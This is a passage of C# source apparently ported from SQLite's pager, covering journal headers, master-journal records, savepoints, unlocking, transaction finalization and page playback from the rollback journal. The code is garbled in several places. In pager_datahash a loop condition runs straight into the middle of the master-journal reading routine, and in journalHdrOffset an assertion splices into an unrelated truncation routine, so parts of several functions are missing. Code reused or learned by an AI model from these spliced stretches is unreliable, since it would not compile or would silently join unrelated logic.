pPg) { u32 pgno = pPg.pgno; Pager pPager = pPg.pPager; int i; for (i = 0; i < pPager.nSavepoint; i++) { PagerSavepoint p = pPager.aSavepoint[i]; if (p.nOrig >= pgno && 0 == sqlite3BitvecTest(p.pInSavepoint, pgno)) { return true; } } return false; } /* ** Return true if the page is already in the journal file. */ static bool pageInJournal(PgHdr pPg) { return sqlite3BitvecTest(pPg.pPager.pInJournal, pPg.pgno) != 0; } /* ** Read a 32-bit integer from the given file descriptor. Store the integer ** that is read in pRes. Return SQLITE_OK if everything worked, or an ** error code is something goes wrong. ** ** All values are stored on disk as big-endian. */ static int read32bits(sqlite3_file fd, int offset, ref int pRes) { u32 u32_pRes = 0; int rc = read32bits(fd, offset, ref u32_pRes); pRes = (int)u32_pRes; return rc; } static int read32bits(sqlite3_file fd, i64 offset, ref u32 pRes) { int rc = read32bits(fd, (int)offset, ref pRes); return rc; } static int read32bits(sqlite3_file fd, int offset, ref u32 pRes) { byte[] ac = new byte[4]; int rc = sqlite3OsRead(fd, ac, ac.Length, offset); if (rc == SQLITE_OK) { pRes = sqlite3Get4byte(ac); } return rc; } /* ** Write a 32-bit integer into a string buffer in big-endian byte order. */ //#define put32bits(A,B) sqlite3sqlite3Put4byte((u8*)A,B) static void put32bits(string ac, int offset, int val) { byte[] A = new byte[4]; A[0] = (byte)ac[offset + 0]; A[1] = (byte)ac[offset + 1]; A[2] = (byte)ac[offset + 2]; A[3] = (byte)ac[offset + 3]; sqlite3Put4byte(A, 0, val); } static void put32bits(byte[] ac, int offset, int val) { sqlite3Put4byte(ac, offset, (u32)val); } static void put32bits(byte[] ac, u32 val) { sqlite3Put4byte(ac, 0U, val); } static void put32bits(byte[] ac, int offset, u32 val) { sqlite3Put4byte(ac, offset, val); } /* ** Write a 32-bit integer into the given file descriptor. Return SQLITE_OK ** on success or an error code is something goes wrong. */ static int write32bits(sqlite3_file fd, i64 offset, u32 val) { byte[] ac = new byte[4]; put32bits(ac, val); return sqlite3OsWrite(fd, ac, 4, offset); } /* ** The argument to this macro is a file descriptor (type sqlite3_file*). ** Return 0 if it is not open, or non-zero (but not 1) if it is. ** ** This is so that expressions can be written as: ** ** if( isOpen(pPager.jfd) ){ ... ** ** instead of ** ** if( pPager.jfd->pMethods ){ ... */ //#define isOpen(pFd) ((pFd)->pMethods) static bool isOpen(sqlite3_file pFd) { return pFd.pMethods != null; } /* ** If file pFd is open, call sqlite3OsUnlock() on it. */ static int osUnlock(sqlite3_file pFd, int eLock) { if (pFd.pMethods == null) { return SQLITE_OK; } return sqlite3OsUnlock(pFd, eLock); } /* ** This function determines whether or not the atomic-write optimization ** can be used with this pager. The optimization can be used if: ** ** (a) the value returned by OsDeviceCharacteristics() indicates that ** a database page may be written atomically, and ** (b) the value returned by OsSectorSize() is less than or equal ** to the page size. ** ** The optimization is also always enabled for temporary files. It is ** an error to call this function if pPager is opened on an in-memory ** database. ** ** If the optimization cannot be used, 0 is returned. If it can be used, ** then the value returned is the size of the journal file when it ** contains rollback data for exactly one page. */ #if SQLITE_ENABLE_ATOMIC_WRITE static int jrnlBufferSize(Pager *pPager){ assert( 0==MEMDB ); if( !pPager.tempFile ){ int dc; /* Device characteristics */ int nSector; /* Sector size */ int szPage; /* Page size */ assert( isOpen(pPager.fd) ); dc = sqlite3OsDeviceCharacteristics(pPager.fd); nSector = pPager.sectorSize; szPage = pPager.pageSize; assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); if( 0==(dc&(SQLITE_IOCAP_ATOMIC|(szPage>>8)) || nSector>szPage) ){ return 0; } } return JOURNAL_HDR_SZ(pPager) + JOURNAL_PG_SZ(pPager); } #endif /* ** If SQLITE_CHECK_PAGES is defined then we do some sanity checking ** on the cache using a hash function. This is used for testing ** and debugging only. */ #if SQLITE_CHECK_PAGES /* ** Return a 32-bit hash of the page data for pPage. */ static u32 pager_datahash(int nByte, unsigned char pData){ u32 hash = 0; int i; for(i=0; i= nMaster || SQLITE_OK != (rc = read32bits(pJrnl, szJ - 12, ref cksum)) || SQLITE_OK != (rc = sqlite3OsRead(pJrnl, aMagic, 8, szJ - 8)) || memcmp(aMagic, aJournalMagic, 8) != 0 || SQLITE_OK != (rc = sqlite3OsRead(pJrnl, zMaster, len, szJ - 16 - len)) ) { return rc; } /* See if the checksum matches the master journal name */ for (u = 0; u < len; u++) { cksum -= zMaster[u]; } if (cksum != 0) { /* If the checksum doesn't add up, then one or more of the disk sectors ** containing the master journal filename is corrupted. This means ** definitely roll back, so just return SQLITE_OK and report a (nul) ** master-journal filename. */ len = 0; } if (len == 0) zMaster[0] = 0; return SQLITE_OK; } /* ** Return the offset of the sector boundary at or immediately ** following the value in pPager.journalOff, assuming a sector ** size of pPager.sectorSize bytes. ** ** i.e for a sector size of 512: ** ** Pager.journalOff Return value ** --------------------------------------- ** 0 0 ** 512 512 ** 100 512 ** 2000 2048 ** */ static i64 journalHdrOffset(Pager pPager) { i64 offset = 0; i64 c = pPager.journalOff; if (c != 0) { offset = (int)(((c - 1) / pPager.sectorSize + 1) * pPager.sectorSize);//offset = ((c-1)/JOURNAL_HDR_SZ(pPager) + 1) * JOURNAL_HDR_SZ(pPager); } Debug.Assert(offset % pPager.sectorSize == 0); //Debug.Assert(offset % JOURNAL_HDR_SZ(pPager) == 0); Debug.Assert(offset >= c); Debug.Assert((offset - c) < pPager.sectorSize);//Debug.Assert( (offset-c) 0) { int sz = 0; rc = sqlite3OsFileSize(pPager.jfd, ref sz); if (rc == SQLITE_OK && sz > iLimit) { rc = sqlite3OsTruncate(pPager.jfd, (int)iLimit); } } } return rc; } /* ** The journal file must be open when this routine is called. A journal ** header (JOURNAL_HDR_SZ bytes) is written into the journal file at the ** current location. ** ** The format for the journal header is as follows: ** - 8 bytes: Magic identifying journal format. ** - 4 bytes: Number of records in journal, or -1 no-sync mode is on. ** - 4 bytes: Random number used for page hash. ** - 4 bytes: Initial database page count. ** - 4 bytes: Sector size used by the process that wrote this journal. ** - 4 bytes: Database page size. ** ** Followed by (JOURNAL_HDR_SZ - 28) bytes of unused space. */ static int writeJournalHdr(Pager pPager) { int rc = SQLITE_OK; /* Return code */ byte[] zHeader = pPager.pTmpSpace; /* Temporary space used to build header */ u32 nHeader = (u32)pPager.pageSize; /* Size of buffer pointed to by zHeader */ u32 nWrite; /* Bytes of header sector written */ int ii; /* Loop counter */ Debug.Assert(isOpen(pPager.jfd)); /* Journal file must be open. */ if (nHeader > JOURNAL_HDR_SZ(pPager)) { nHeader = JOURNAL_HDR_SZ(pPager); } /* If there are active savepoints and any of them were created ** since the most recent journal header was written, update the ** PagerSavepoint.iHdrOffset fields now. */ for (ii = 0; ii < pPager.nSavepoint; ii++) { if (pPager.aSavepoint[ii].iHdrOffset == 0) { pPager.aSavepoint[ii].iHdrOffset = pPager.journalOff; } } pPager.journalHdr = pPager.journalOff = journalHdrOffset(pPager); /* ** Write the nRec Field - the number of page records that follow this ** journal header. Normally, zero is written to this value at this time. ** After the records are added to the journal (and the journal synced, ** if in full-sync mode), the zero is overwritten with the true number ** of records (see syncJournal()). ** ** A faster alternative is to write 0xFFFFFFFF to the nRec field. When ** reading the journal this value tells SQLite to assume that the ** rest of the journal file contains valid page records. This assumption ** is dangerous, as if a failure occurred whilst writing to the journal ** file it may contain some garbage data. There are two scenarios ** where this risk can be ignored: ** ** * When the pager is in no-sync mode. Corruption can follow a ** power failure in this case anyway. ** ** * When the SQLITE_IOCAP_SAFE_APPEND flag is set. This guarantees ** that garbage data is never appended to the journal file. */ Debug.Assert(isOpen(pPager.fd) || pPager.noSync); if ((pPager.noSync) || (pPager.journalMode == PAGER_JOURNALMODE_MEMORY) || (sqlite3OsDeviceCharacteristics(pPager.fd) & SQLITE_IOCAP_SAFE_APPEND) != 0 ) { aJournalMagic.CopyTo(zHeader, 0);// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); put32bits(zHeader, aJournalMagic.Length, 0xffffffff); } else { zHeader[0] = 0; put32bits(zHeader, aJournalMagic.Length, 0); } /* The random check-hash initialiser */ i64 i64Temp = 0; sqlite3_randomness(sizeof(i64), ref i64Temp); pPager.cksumInit = (u32)i64Temp; put32bits(zHeader, aJournalMagic.Length + 4, pPager.cksumInit); /* The initial database size */ put32bits(zHeader, aJournalMagic.Length + 8, pPager.dbOrigSize); /* The assumed sector size for this process */ put32bits(zHeader, aJournalMagic.Length + 12, pPager.sectorSize); /* The page size */ put32bits(zHeader, aJournalMagic.Length + 16, (u32)pPager.pageSize); /* Initializing the tail of the buffer is not necessary. Everything ** works find if the following memset() is omitted. But initializing ** the memory prevents valgrind from complaining, so we are willing to ** take the performance hit. */ // memset(&zHeader[sizeof(aJournalMagic)+20], 0, // nHeader-(sizeof(aJournalMagic)+20)); Array.Clear(zHeader, aJournalMagic.Length + 20, (int)nHeader - (aJournalMagic.Length + 20)); /* In theory, it is only necessary to write the 28 bytes that the ** journal header consumes to the journal file here. Then increment the ** Pager.journalOff variable by JOURNAL_HDR_SZ so that the next ** record is written to the following sector (leaving a gap in the file ** that will be implicitly filled in by the OS). ** ** However it has been discovered that on some systems this pattern can ** be significantly slower than contiguously writing data to the file, ** even if that means explicitly writing data to the block of ** (JOURNAL_HDR_SZ - 28) bytes that will not be used. So that is what ** is done. ** ** The loop is required here in case the sector-size is larger than the ** database page size. Since the zHeader buffer is only Pager.pageSize ** bytes in size, more than one call to sqlite3OsWrite() may be required ** to populate the entire journal header sector. */ for (nWrite = 0; rc == SQLITE_OK && nWrite < JOURNAL_HDR_SZ(pPager); nWrite += nHeader) { IOTRACE("JHDR %p %lld %d\n", pPager, pPager.journalHdr, nHeader); rc = sqlite3OsWrite(pPager.jfd, zHeader, (int)nHeader, pPager.journalOff); pPager.journalOff += (int)nHeader; } return rc; } /* ** The journal file must be open when this is called. A journal header file ** (JOURNAL_HDR_SZ bytes) is read from the current location in the journal ** file. The current location in the journal file is given by ** pPager.journalOff. See comments above function writeJournalHdr() for ** a description of the journal header format. ** ** If the header is read successfully, *pNRec is set to the number of ** page records following this header and *pDbSize is set to the size of the ** database before the transaction began, in pages. Also, pPager.cksumInit ** is set to the value read from the journal header. SQLITE_OK is returned ** in this case. ** ** If the journal header file appears to be corrupted, SQLITE_DONE is ** returned and *pNRec and *PDbSize are undefined. If JOURNAL_HDR_SZ bytes ** cannot be read from the journal file an error code is returned. */ static int readJournalHdr( Pager pPager, /* Pager object */ int isHot, i64 journalSize, /* Size of the open journal file in bytes */ ref u32 pNRec, /* OUT: Value read from the nRec field */ ref u32 pDbSize /* OUT: Value of original database size field */ ) { int rc; /* Return code */ byte[] aMagic = new byte[8]; /* A buffer to hold the magic header */ i64 iHdrOff; /* Offset of journal header being read */ Debug.Assert(isOpen(pPager.jfd)); /* Journal file must be open. */ /* Advance Pager.journalOff to the start of the next sector. If the ** journal file is too small for there to be a header stored at this ** point, return SQLITE_DONE. */ pPager.journalOff = journalHdrOffset(pPager); if (pPager.journalOff + JOURNAL_HDR_SZ(pPager) > journalSize) { return SQLITE_DONE; } iHdrOff = pPager.journalOff; /* Read in the first 8 bytes of the journal header. If they do not match ** the magic string found at the start of each journal header, return ** SQLITE_DONE. If an IO error occurs, return an error code. Otherwise, ** proceed. */ if (isHot != 0 || iHdrOff != pPager.journalHdr) { rc = sqlite3OsRead(pPager.jfd, aMagic, aMagic.Length, iHdrOff); if (rc != 0) { return rc; } if (memcmp(aMagic, aJournalMagic, aMagic.Length) != 0) { return SQLITE_DONE; } } /* Read the first three 32-bit fields of the journal header: The nRec ** field, the checksum-initializer and the database size at the start ** of the transaction. Return an error code if anything goes wrong. */ if (SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 8, ref pNRec)) || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 12, ref pPager.cksumInit)) || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 16, ref pDbSize)) ) { return rc; } if (pPager.journalOff == 0) { u32 iPageSize = 0; /* Page-size field of journal header */ u32 iSectorSize = 0; /* Sector-size field of journal header */ u16 iPageSize16; /* Copy of iPageSize in 16-bit variable */ /* Read the page-size and sector-size journal header fields. */ if (SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 20, ref iSectorSize)) || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 24, ref iPageSize)) ) { return rc; } /* Check that the values read from the page-size and sector-size fields ** are within range. To be 'in range', both values need to be a power ** of two greater than or equal to 512, and not greater than their ** respective compile time maximum limits. */ if (iPageSize < 512 || iSectorSize < 512 || iPageSize > SQLITE_MAX_PAGE_SIZE || iSectorSize > MAX_SECTOR_SIZE || ((iPageSize - 1) & iPageSize) != 0 || ((iSectorSize - 1) & iSectorSize) != 0 ) { /* If the either the page-size or sector-size in the journal-header is ** invalid, then the process that wrote the journal-header must have ** crashed before the header was synced. In this case stop reading ** the journal file here. */ return SQLITE_DONE; } /* Update the page-size to match the value read from the journal. ** Use a testcase() macro to make sure that malloc failure within ** PagerSetPagesize() is tested. */ iPageSize16 = (u16)iPageSize; rc = sqlite3PagerSetPagesize(pPager, ref iPageSize16, -1); testcase(rc != SQLITE_OK); Debug.Assert(rc != SQLITE_OK || iPageSize16 == (u16)iPageSize); /* Update the assumed sector-size to match the value used by ** the process that created this journal. If this journal was ** created by a process other than this one, then this routine ** is being called from within pager_playback(). The local value ** of Pager.sectorSize is restored at the end of that routine. */ pPager.sectorSize = iSectorSize; } pPager.journalOff += (int)JOURNAL_HDR_SZ(pPager); return rc; } /* ** Write the supplied master journal name into the journal file for pager ** pPager at the current location. The master journal name must be the last ** thing written to a journal file. If the pager is in full-sync mode, the ** journal file descriptor is advanced to the next sector boundary before ** anything is written. The format is: ** ** + 4 bytes: PAGER_MJ_PGNO. ** + N bytes: Master journal filename in utf-8. ** + 4 bytes: N (length of master journal name in bytes, no nul-terminator). ** + 4 bytes: Master journal name checksum. ** + 8 bytes: aJournalMagic[]. ** ** The master journal page checksum is the sum of the bytes in the master ** journal name, where each byte is interpreted as a signed 8-bit integer. ** ** If zMaster is a NULL pointer (occurs for a single database transaction), ** this call is a no-op. */ static int writeMasterJournal(Pager pPager, string zMaster) { int rc; /* Return code */ int nMaster; /* Length of string zMaster */ i64 iHdrOff; /* Offset of header in journal file */ int jrnlSize = 0; /* Size of journal file on disk */ u32 cksum = 0; /* Checksum of string zMaster */ if (null == zMaster || pPager.setMaster != 0 || pPager.journalMode == PAGER_JOURNALMODE_MEMORY || pPager.journalMode == PAGER_JOURNALMODE_OFF ) { return SQLITE_OK; } pPager.setMaster = 1; Debug.Assert(isOpen(pPager.jfd)); /* Calculate the length in bytes and the checksum of zMaster */ for (nMaster = 0; nMaster < zMaster.Length && zMaster[nMaster] != 0; nMaster++) { cksum += zMaster[nMaster]; } /* If in full-sync mode, advance to the next disk sector before writing ** the master journal name. This is in case the previous page written to ** the journal has already been synced. */ if (pPager.fullSync) { pPager.journalOff = journalHdrOffset(pPager); } iHdrOff = pPager.journalOff; /* Write the master journal data to the end of the journal file. If ** an error occurs, return the error code to the caller. */ if ((0 != (rc = write32bits(pPager.jfd, iHdrOff, (u32)PAGER_MJ_PGNO(pPager)))) || (0 != (rc = sqlite3OsWrite(pPager.jfd, Encoding.UTF8.GetBytes(zMaster), nMaster, iHdrOff + 4))) || (0 != (rc = write32bits(pPager.jfd, iHdrOff + 4 + nMaster, (u32)nMaster))) || (0 != (rc = write32bits(pPager.jfd, iHdrOff + 4 + nMaster + 4, cksum))) || (0 != (rc = sqlite3OsWrite(pPager.jfd, aJournalMagic, 8, iHdrOff + 4 + nMaster + 8))) ) { return rc; } pPager.journalOff += (nMaster + 20); pPager.needSync = !pPager.noSync; /* If the pager is in peristent-journal mode, then the physical ** journal-file may extend past the end of the master-journal name ** and 8 bytes of magic data just written to the file. This is ** dangerous because the code to rollback a hot-journal file ** will not be able to find the master-journal name to determine ** whether or not the journal is hot. ** ** Easiest thing to do in this scenario is to truncate the journal ** file to the required size. */ if (SQLITE_OK == (rc = sqlite3OsFileSize(pPager.jfd, ref jrnlSize)) && jrnlSize > pPager.journalOff ) { rc = sqlite3OsTruncate(pPager.jfd, pPager.journalOff); } return rc; } /* ** Find a page in the hash table given its page number. Return ** a pointer to the page or NULL if the requested page is not ** already in memory. */ static PgHdr pager_lookup(Pager pPager, u32 pgno) { PgHdr p = null; /* Return value */ /* It is not possible for a call to PcacheFetch() with createFlag==0 to ** fail, since no attempt to allocate dynamic memory will be made. */ sqlite3PcacheFetch(pPager.pPCache, pgno, 0, ref p); return p; } /* ** Unless the pager is in error-state, discard all in-memory pages. If ** the pager is in error-state, then this call is a no-op. ** ** TODO: Why can we not reset the pager while in error state? */ static void pager_reset(Pager pPager) { if (SQLITE_OK == pPager.errCode) { sqlite3BackupRestart(pPager.pBackup); sqlite3PcacheClear(pPager.pPCache); pPager.dbSizeValid = false; } } /* ** Free all structures in the Pager.aSavepoint[] array and set both ** Pager.aSavepoint and Pager.nSavepoint to zero. Close the sub-journal ** if it is open and the pager is not in exclusive mode. */ static void releaseAllSavepoints(Pager pPager) { int ii; /* Iterator for looping through Pager.aSavepoint */ for (ii = 0; ii < pPager.nSavepoint; ii++) { sqlite3BitvecDestroy(ref pPager.aSavepoint[ii].pInSavepoint); } if (!pPager.exclusiveMode || sqlite3IsMemJournal(pPager.sjfd)) { sqlite3OsClose(pPager.sjfd); } //sqlite3_free( ref pPager.aSavepoint ); pPager.aSavepoint = null; pPager.nSavepoint = 0; pPager.nSubRec = 0; } /* ** Set the bit number pgno in the PagerSavepoint.pInSavepoint ** bitvecs of all open savepoints. Return SQLITE_OK if successful ** or SQLITE_NOMEM if a malloc failure occurs. */ static int addToSavepointBitvecs(Pager pPager, u32 pgno) { int ii; /* Loop counter */ int rc = SQLITE_OK; /* Result code */ for (ii = 0; ii < pPager.nSavepoint; ii++) { PagerSavepoint p = pPager.aSavepoint[ii]; if (pgno <= p.nOrig) { rc |= sqlite3BitvecSet(p.pInSavepoint, pgno); testcase(rc == SQLITE_NOMEM); Debug.Assert(rc == SQLITE_OK || rc == SQLITE_NOMEM); } } return rc; } /* ** Unlock the database file. This function is a no-op if the pager ** is in exclusive mode. ** ** If the pager is currently in error state, discard the contents of ** the cache and reset the Pager structure internal state. If there is ** an open journal-file, then the next time a shared-lock is obtained ** on the pager file (by this or any other process), it will be ** treated as a hot-journal and rolled back. */ static void pager_unlock(Pager pPager) { if (!pPager.exclusiveMode) { int rc; /* Return code */ /* Always close the journal file when dropping the database lock. ** Otherwise, another connection with journal_mode=delete might ** delete the file out from under us. */ sqlite3OsClose(pPager.jfd); sqlite3BitvecDestroy(ref pPager.pInJournal); pPager.pInJournal = null; releaseAllSavepoints(pPager); /* If the file is unlocked, somebody else might change it. The ** values stored in Pager.dbSize etc. might become invalid if ** this happens. TODO: Really, this doesn't need to be cleared ** until the change-counter check fails in PagerSharedLock(). */ pPager.dbSizeValid = false; rc = osUnlock(pPager.fd, NO_LOCK); if (rc != 0) { pPager.errCode = rc; } IOTRACE("UNLOCK %p\n", pPager); /* If Pager.errCode is set, the contents of the pager cache cannot be ** trusted. Now that the pager file is unlocked, the contents of the ** cache can be discarded and the error code safely cleared. */ if (pPager.errCode != 0) { if (rc == SQLITE_OK) { pPager.errCode = SQLITE_OK; } pager_reset(pPager); } pPager.changeCountDone = false; pPager.state = PAGER_UNLOCK; } } /* ** This function should be called when an IOERR, CORRUPT or FULL error ** may have occurred. The first argument is a pointer to the pager ** structure, the second the error-code about to be returned by a pager ** API function. The value returned is a copy of the second argument ** to this function. ** ** If the second argument is SQLITE_IOERR, SQLITE_CORRUPT, or SQLITE_FULL ** the error becomes persistent. Until the persisten error is cleared, ** subsequent API calls on this Pager will immediately return the same ** error code. ** ** A persistent error indicates that the contents of the pager-cache ** cannot be trusted. This state can be cleared by completely discarding ** the contents of the pager-cache. If a transaction was active when ** the persistent error occurred, then the rollback journal may need ** to be replayed to restore the contents of the database file (as if ** it were a hot-journal). */ static int pager_error(Pager pPager, int rc) { int rc2 = rc & 0xff; Debug.Assert(rc == SQLITE_OK || #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ); Debug.Assert( pPager.errCode == SQLITE_FULL || pPager.errCode == SQLITE_OK || (pPager.errCode & 0xff) == SQLITE_IOERR ); if ( rc2 == SQLITE_FULL || rc2 == SQLITE_IOERR) { pPager.errCode = rc; } return rc; } /* ** Execute a rollback if a transaction is active and unlock the ** database file. ** ** If the pager has already entered the error state, do not attempt ** the rollback at this time. Instead, pager_unlock() is called. The ** call to pager_unlock() will discard all in-memory pages, unlock ** the database file and clear the error state. If this means that ** there is a hot-journal left in the file-system, the next connection ** to obtain a shared lock on the pager (which may be this one) will ** roll it back. ** ** If the pager has not already entered the error state, but an IO or ** malloc error occurs during a rollback, then this will itself cause ** the pager to enter the error state. Which will be cleared by the ** call to pager_unlock(), as described above. */ static void pagerUnlockAndRollback(Pager pPager) { if (pPager.errCode == SQLITE_OK && pPager.state >= PAGER_RESERVED) { sqlite3BeginBenignMalloc(); sqlite3PagerRollback(pPager); sqlite3EndBenignMalloc(); } pager_unlock(pPager); } /* ** This routine ends a transaction. A transaction is usually ended by ** either a COMMIT or a ROLLBACK operation. This routine may be called ** after rollback of a hot-journal, or if an error occurs while opening ** the journal file or writing the very first journal-header of a ** database transaction. ** ** If the pager is in PAGER_SHARED or PAGER_UNLOCK state when this ** routine is called, it is a no-op (returns SQLITE_OK). ** ** Otherwise, any active savepoints are released. ** ** If the journal file is open, then it is "finalized". Once a journal ** file has been finalized it is not possible to use it to roll back a ** transaction. Nor will it be considered to be a hot-journal by this ** or any other database connection. Exactly how a journal is finalized ** depends on whether or not the pager is running in exclusive mode and ** the current journal-mode (Pager.journalMode value), as follows: ** ** journalMode==MEMORY ** Journal file descriptor is simply closed. This destroys an ** in-memory journal. ** ** journalMode==TRUNCATE ** Journal file is truncated to zero bytes in size. ** ** journalMode==PERSIST ** The first 28 bytes of the journal file are zeroed. This invalidates ** the first journal header in the file, and hence the entire journal ** file. An invalid journal file cannot be rolled back. ** ** journalMode==DELETE ** The journal file is closed and deleted using sqlite3OsDelete(). ** ** If the pager is running in exclusive mode, this method of finalizing ** the journal file is never used. Instead, if the journalMode is ** DELETE and the pager is in exclusive mode, the method described under ** journalMode==PERSIST is used instead. ** ** After the journal is finalized, if running in non-exclusive mode, the ** pager moves to PAGER_SHARED state (and downgrades the lock on the ** database file accordingly). ** ** If the pager is running in exclusive mode and is in PAGER_SYNCED state, ** it moves to PAGER_EXCLUSIVE. No locks are downgraded when running in ** exclusive mode. ** ** SQLITE_OK is returned if no error occurs. If an error occurs during ** any of the IO operations to finalize the journal file or unlock the ** database then the IO error code is returned to the user. If the ** operation to finalize the journal file fails, then the code still ** tries to unlock the database file if not in exclusive mode. If the ** unlock operation fails as well, then the first error code related ** to the first error encountered (the journal finalization one) is ** returned. */ static int pager_end_transaction(Pager pPager, int hasMaster) { int rc = SQLITE_OK; /* Error code from journal finalization operation */ int rc2 = SQLITE_OK; /* Error code from db file unlock operation */ if (pPager.state < PAGER_RESERVED) { return SQLITE_OK; } releaseAllSavepoints(pPager); Debug.Assert(isOpen(pPager.jfd) || pPager.pInJournal == null); if (isOpen(pPager.jfd)) { /* Finalize the journal file. */ if (sqlite3IsMemJournal(pPager.jfd)) { Debug.Assert(pPager.journalMode == PAGER_JOURNALMODE_MEMORY); sqlite3OsClose(pPager.jfd); } else if (pPager.journalMode == PAGER_JOURNALMODE_TRUNCATE) { if (pPager.journalOff == 0) { rc = SQLITE_OK; } else { rc = sqlite3OsTruncate(pPager.jfd, 0); } pPager.journalOff = 0; pPager.journalStarted = false; } else if (pPager.exclusiveMode || pPager.journalMode == PAGER_JOURNALMODE_PERSIST ) { rc = zeroJournalHdr(pPager, hasMaster); pager_error(pPager, rc); pPager.journalOff = 0; pPager.journalStarted = false; } else { /* This branch may be executed with Pager.journalMode==MEMORY if ** a hot-journal was just rolled back. In this case the journal ** file should be closed and deleted. If this connection writes to ** the database file, it will do so using an in-memory journal. */ Debug.Assert(pPager.journalMode == PAGER_JOURNALMODE_DELETE || pPager.journalMode == PAGER_JOURNALMODE_MEMORY ); sqlite3OsClose(pPager.jfd); if (!pPager.tempFile) { rc = sqlite3OsDelete(pPager.pVfs, pPager.zJournal, 0); } } #if SQLITE_CHECK_PAGES sqlite3PcacheIterateDirty(pPager.pPCache, pager_set_pagehash); #endif sqlite3PcacheCleanAll(pPager.pPCache); sqlite3BitvecDestroy(ref pPager.pInJournal); pPager.pInJournal = null; pPager.nRec = 0; } if (!pPager.exclusiveMode) { rc2 = osUnlock(pPager.fd, SHARED_LOCK); pPager.state = PAGER_SHARED; pPager.changeCountDone = false; } else if (pPager.state == PAGER_SYNCED) { pPager.state = PAGER_EXCLUSIVE; } pPager.setMaster = 0; pPager.needSync = false; pPager.dbModified = false; /* TODO: Is this optimal? Why is the db size invalidated here ** when the database file is not unlocked? */ pPager.dbOrigSize = 0; sqlite3PcacheTruncate(pPager.pPCache, pPager.dbSize); if ( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ) { pPager.dbSizeValid = false; } return (rc == SQLITE_OK ? rc2 : rc); } /* ** Parameter aData must point to a buffer of pPager.pageSize bytes ** of data. Compute and return a checksum based ont the contents of the ** page of data and the current value of pPager.cksumInit. ** ** This is not a real checksum. It is really just the sum of the ** random initial value (pPager.cksumInit) and every 200th byte ** of the page data, starting with byte offset (pPager.pageSize%200). ** Each byte is interpreted as an 8-bit unsigned integer. ** ** Changing the formula used to compute this checksum results in an ** incompatible journal file format. ** ** If journal corruption occurs due to a power failure, the most likely ** scenario is that one end or the other of the record will be changed. ** It is much less likely that the two ends of the journal record will be ** correct and the middle be corrupt. Thus, this "checksum" scheme, ** though fast and simple, catches the mostly likely kind of corruption. */ static u32 pager_cksum(Pager pPager, byte[] aData) { u32 cksum = pPager.cksumInit; /* Checksum value to return */ int i = pPager.pageSize - 200; /* Loop counter */ while (i > 0) { cksum += aData[i]; i -= 200; } return cksum; } /* ** Read a single page from either the journal file (if isMainJrnl==1) or ** from the sub-journal (if isMainJrnl==0) and playback that page. ** The page begins at offset *pOffset into the file. The *pOffset ** value is increased to the start of the next page in the journal. ** ** The isMainJrnl flag is true if this is the main rollback journal and ** false for the statement journal. The main rollback journal uses ** checksums - the statement journal does not. ** ** If the page number of the page record read from the (sub-)journal file ** is greater than the current value of Pager.dbSize, then playback is ** skipped and SQLITE_OK is returned. ** ** If pDone is not NULL, then it is a record of pages that have already ** been played back. If the page at *pOffset has already been played back ** (if the corresponding pDone bit is set) then skip the playback. ** Make sure the pDone bit corresponding to the *pOffset page is set ** prior to returning. ** ** If the page record is successfully read from the (sub-)journal file ** and played back, then SQLITE_OK is returned. If an IO error occurs ** while reading the record from the (sub-)journal file or while writing ** to the database file, then the IO error code is returned. If data ** is successfully read from the (sub-)journal file but appears to be ** corrupted, SQLITE_DONE is returned. Data is considered corrupted in ** two circumstances: ** ** * If the record page-number is illegal (0 or PAGER_MJ_PGNO), or ** * If the record is being rolled back from the main journal file ** and the checksum field does not match the record content. ** ** Neither of these two scenarios are possible during a savepoint rollback. ** ** If this is a savepoint rollback, then memory may have to be dynamically ** allocated by this function. If this is the case and an allocation fails, ** SQLITE_NOMEM is returned. */ static int pager_playback_one_page( Pager pPager, /* The pager being played back */ int isMainJrnl, /* True for main rollback journal. False for Stmt jrnl */ int isUnsync, /* True if reading from unsynced main journal */ ref i64 pOffset, /* Offset of record to playback */ int isSavepnt, /* True for a savepoint rollback */ Bitvec pDone /* Bitvec of pages already played back */ ) { int rc; PgHdr pPg; /* An existing page in the cache */ Pgno pgno = 0; /* The page number of a page in journal */ u32 cksum = 0; /* Checksum used for sanity checking */ u8[] aData; /* Temporary storage for the page */ sqlite3_file jfd; /* The file descriptor for the journal file */ Debug.Assert((isMainJrnl & ~1) == 0); /* isMainJrnl is 0 or 1 */ Debug.Assert((isSavepnt & ~1) == 0); /* isSavepnt is 0 or 1 */ Debug.Assert(isMainJrnl != 0 || pDone != null); /* pDone always used on sub-journals */ Debug.Assert(isSavepnt != 0 || pDone == null); /* pDone never used on non-savepoint */ aData = pPager.pTmpSpace; Debug.Assert(aData != null); /* Temp storage must have already been allocated */ /* Read the page number and page data from the journal or sub-journal ** file. Return an error code to the caller if an IO error occurs. */ jfd = isMainJrnl != 0 ? pPager.jfd : pPager.sjfd; rc = read32bits(jfd, pOffset, ref pgno); if (rc != SQLITE_OK) return rc; rc = sqlite3OsRead(jfd, aData, pPager.pageSize, (pOffset) + 4); if (rc != SQLITE_OK) return rc; pOffset += pPager.pageSize + 4 + isMainJrnl * 4; /* Sanity checking on the page. This is more important that I originally ** thought. If a power failure occurs while the journal is being written, ** it could cause invalid data to be written into the journal. We need to ** detect this invalid data (with high probability) and ignore it. */ if (pgno == 0 || pgno == PAGER_MJ_PGNO(pPager)) { Debug.Assert(0 == isSavepnt); return SQLITE_DONE; } if (pgno > pPager.dbSize || sqlite3BitvecTest(pDone, pgno) != 0) { return SQLITE_OK; } if (isMainJrnl != 0) { rc = read32bits(jfd, (pOffset) - 4, ref cksum); if (rc != 0) return rc; if (0 == isSavepnt && pager_cksum(pPager, aData) != cksum) { return SQLITE_DONE; } } if (pDone != null && (rc = sqlite3BitvecSet(pDone, pgno)) != SQLITE_OK) { return rc; } Debug.Assert(pPager.state == PAGER_RESERVED || pPager.state >= PAGER_EXCLUSIVE); /* If the pager is in RESERVED state, then there must be a copy of this ** page in the pager cache. In this case just update the pager cache, ** not the database file. The page is left marked dirty in this case. ** ** An exception to the above rule: If the database is 